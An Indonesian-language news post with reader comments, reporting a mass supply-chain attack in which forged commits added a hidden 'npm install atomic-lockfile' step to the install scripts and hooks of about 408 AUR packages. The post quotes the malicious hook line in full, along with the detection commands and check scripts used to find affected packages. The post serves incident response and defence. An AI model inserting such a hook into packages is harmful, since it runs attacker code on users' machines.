1 poin oleh GN⁺ 4 jam lalu | 1 komentar | Bagikan ke WhatsApp
  • Banyak commit berbahaya disisipkan ke AUR (Arch User Repository), memicu serangan rantai pasok yang memodifikasi proses instalasi paket agar menjalankan npm install atomic-lockfile
  • Dari hasil pencarian pada mirror read-only, ditemukan perintah berbahaya yang sama di file PKGBUILD, .install, dan .hook milik sekitar 408 paket
  • Commit berbahaya ini menggunakan metode pemalsuan commit dengan meniru nama dan email commit sebelumnya untuk menyamar sebagai maintainer resmi, terpisah dari isu apakah akun diretas atau tidak
  • Pihak Arch sedang melakukan reset/penghapusan commit berbahaya serta pemblokiran akun, dan meminta agar paket berbahaya tambahan dilaporkan dalam satu thread yang sama
  • Anggota komunitas melaporkan commit paket satu per satu dan menjalankan respons kolaboratif, menjadikannya insiden besar yang berdampak luas pada ekosistem paket AUR

Ringkasan insiden dan permintaan respons

  • Informasi tentang penyisipan massal commit berbahaya di AUR dibagikan, dan pekerjaan reset/penghapusan commit berbahaya serta pemblokiran akun sedang berlangsung
  • Jika menemukan paket berbahaya tambahan, diminta untuk melaporkannya dengan membalas email ini agar semuanya terkumpul dalam thread yang sama
  • Penanggung jawab koordinasi membalas bahwa semua laporan yang masuk telah diperiksa, serta menyampaikan terima kasih kepada para peserta yang meluangkan waktu untuk melapor

Pola malware — atomic-lockfile

  • Paket yang telah dimodifikasi sama-sama menjalankan npm install atomic-lockfile, diikuti nama paket npm tambahan seperti ora, fast-glob, glob, minimist, axios, commander, execa, chalk, debug, dan lainnya
  • Jenis file tempat perintah berbahaya ditemukan
    • Skrip instalasi berbentuk *-deps.install
    • Skrip instalasi paket *.install
    • File *.hook — misalnya dalam bentuk Exec = /bin/sh -c 'cd /tmp && npm install atomic-lockfile ... 2>/dev/null; exit 0', dijalankan dari /tmp lalu menutupi error dan keluar
    • Sebagian juga disertakan di file terkait seperti install.sh
  • Sebagai contoh paket berbahaya yang baru dibuat, exodus-wallet-bin dilaporkan dan terkonfirmasi sebagai paket baru yang dibuat sekitar 4 jam sebelumnya berdasarkan commit pertamanya

Metode deteksi dan cakupan dampak

  • Deteksi dilakukan dengan memeriksa langsung mirror read-only
    • Setelah git clone https://github.com/archlinux/aur.git, semua ref ditelusuri lalu dijalankan git grep 'atomic-lockfile'
    • Hasilnya adalah daftar panjang sekitar 408 paket yang memasang atomic-lockfile, dan dapat dimanfaatkan untuk pekerjaan cleanup otomatis
  • Contoh paket yang disebut terdampak
    • runescape-launcher, oracle-bin, tesseract-gui, python-starsessions, bitcoin-core-git, apple-music-desktop, exodus-wallet-bin, anythingllm-appimage, arm-linux-gnueabihf-binutils, dan lainnya
    • Mencakup kelompok paket yang luas seperti seri cutefish-*, python2-*, python-*, dan lain-lain
  • Karena banyaknya email akibat laporan satu per satu, disarankan untuk menggabungkan beberapa laporan dalam satu email, dan daftar paket gabungan juga dibagikan terpisah di IRC

Metode penyamaran/pemalsuan

  • Untuk paket yang terkait dengan akun tertentu (arojas), muncul pertanyaan apakah ini merupakan pengambilalihan akun atau pemalsuan commit
  • Sebagai tanggapan, dikonfirmasi bahwa commit berbahaya itu bekerja dengan menyamar (impersonate) sebagai nama dan email commit sebelumnya — yaitu pemalsuan metadata commit
  • Juga dilaporkan bahwa paket lain milik pengguna yang sama dalam beberapa kasus sudah diperbaiki

Status penanganan

  • Commit paket yang dilaporkan diproses secara bertahap, dan sebagian item dikonfirmasi lewat balasan selesai diperbaiki (Done)
  • Seiring laporan tambahan terus berdatangan, penanggung jawab koordinasi memeriksa seluruh laporan sambil melanjutkan pemblokiran dan reset yang sedang berjalan
  • Banyak peserta melaporkan paket satu per satu beserta tautan commit-nya, sehingga penanganan berlangsung sebagai respons kolaboratif yang dipimpin komunitas

1 komentar

 
GN⁺ 4 jam lalu
Komentar Lobste.rs
  • Rasanya kepercayaan yang masih tersisa pada kontribusi anonim yang tidak diverifikasi di komunitas akan hampir habis karena kejadian ini
    Terasa seperti melihat kepercayaan terkikis secara real-time

    • Sejujurnya ini hal yang bagus, dan sebenarnya sudah terlambat. Industri kita sekarang harus sadar
      Kita sudah menitipkan terlalu banyak data pribadi dan sensitif ke komputer, dan komputer telah menjadi pusat kehidupan modern. Jika komputer pribadi terinfeksi, itu benar-benar kejadian yang sangat buruk, dan paling banter kita hanya bisa berharap kita tidak cukup menarik sampai peretas merasa perlu menargetkan kita secara khusus
      Tapi entah kenapa kita menormalkan menjalankan program acak apa pun dengan hak akses penuh[1], lalu berpura-pura terkejut setiap kali itu terbukti sebagai ide yang buruk
      [1] Ini berdasarkan hak akses pengguna saat ini. Dalam sebagian besar konfigurasi, root nyaris tidak punya makna nyata
    • KDE seminggu lalu menghapus AUR dari pipeline build-nya sendiri, dan mungkin itu adalah respons terhadap versi sebelumnya dari serangan ini
    • Menarik jika model web of trust diterapkan pada peninjauan paket AUR, lalu digabungkan dengan masa jeda untuk pembaruan terbaru
      Saya membayangkan sistem yang menawarkan opsi seperti ini saat memasang atau memperbarui paket AUR: untuk paket yang baru diperbarui, tunggu seminggu sampai "dingin"; luangkan beberapa menit untuk meninjau paket sendiri lalu tinggalkan ulasan bertanda tangan yang terhubung ke reputasi Anda; atau andalkan ulasan bertanda tangan dari beberapa orang lain yang sudah mengumpulkan cukup kepercayaan
      Masa jeda ini mungkin secara teknis tidak selaras dengan kebijakan Arch yang menjaga semua paket tetap terbaru secara bersamaan. Tetapi paket AUR memang pada dasarnya juga bukan bagian dari dukungan resmi
  • Sudah beberapa jam berlalu tapi paket NPM ini masih belum diturunkan: https://www.npmjs.com/package/atomic-lockfile

  • Untuk memeriksa apakah paket yang terpasang terdampak, Anda bisa memakai skrip kecil ini bersama file aur_pkg_list.txt

    installed_pkgs="$(yay -Qq)";  
    grep refs aur_pkg_list.txt | awk -F/ '{print $4}' | tr -d ')' \  
    | while read -r pkg; do \  
        echo "$installed_pkgs" | grep "^$pkg\$"; \  
    done  
    

    Saya menambahkan titik koma agar mudah dijadikan perintah satu baris :-)

    • Sepertinya ini juga menangkap substring. Misalnya ktea juga cocok dengan kteatime
      Versi ini tampaknya berfungsi

      grep refs aur_pkg_list.txt | awk -F/ '{print $4}' | tr -d ')' | while read -r pkg; do  
         echo "$installed_pkgs" | grep "^$pkg\$";  
      done  
      
  • Mungkin ini sudah berlangsung cukup lama. Dari email 18 hari lalu ini, tampaknya payload berbahaya yang serupa telah digunakan, tetapi commit berbahaya itu tampaknya sudah dihapus sepenuhnya dari repositori

  • Ngomong-ngomong, adakah materi yang membandingkan postur keamanan supply chain distribusi Linux populer dengan baik? Sebagian besar tulisan yang saya temukan sejauh ini terasa seperti pemasaran terselubung atau artikel asal-asalan buatan AI. Mungkin saya memang harus menelitinya sendiri
    Bagian yang menyedihkan adalah, meski saya menyukai idealisme pengembangan berbasis komunitas, kekhawatiran soal supply chain justru membuat saya melirik opsi yang lebih tertutup, atau bahkan perangkat lunak proprietary, dengan lebih serius